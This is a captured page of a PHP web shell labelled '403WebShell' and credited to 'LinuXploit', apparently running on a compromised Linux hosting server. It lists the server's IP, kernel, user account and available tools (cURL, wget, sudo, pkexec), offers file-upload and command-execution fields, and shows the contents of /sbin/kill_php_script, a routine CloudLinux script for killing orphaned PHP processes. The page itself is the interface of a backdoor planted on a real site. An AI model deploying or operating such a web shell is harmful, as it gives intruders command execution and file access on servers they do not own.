Uname:Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 185.143.233.238  /  Your IP : 185.215.232.195
Web Server : Apache
System : Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64
User : noavaranesama ( 1039)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/kill_php_script
#!/bin/bash

KEY=`/bin/grep ^disable_kill_orphaned_cron /etc/sysconfig//cloudlinux  | /bin/sed 's/disable_kill_orphaned_cron[ ]*=[ ]*//'`

if [ -z "$KEY" -o "$KEY" = 'n' -o "$KEY" = 'N' ]; then
  # A forged process title cannot inject a PID here: ps sanitizes control bytes
  # (newline -> space), so the command column never splits into a forged record
  # that reaches awk.
  # LU-539: use "command:4096" in order to get full path (without cutting). 4096 == MAX_PATH (usual maximum path length allowed by linux kernel)
  /bin/ps -Ao"pid,etime,command:4096,ppid" | /bin/grep /php | /bin/grep -v -E 'jetbackup|sw-engine|mysqld_safe|lsphp|php-fpm|/home/interworx/bin/php' | /bin/grep ' 1$' | /usr/bin/awk '{if ($2 >= "10:00" ) print $1}' | /usr/bin/xargs --no-run-if-empty /bin/kill -9
fi

Youez - 2016 - github.com/yon3zu
LinuXploit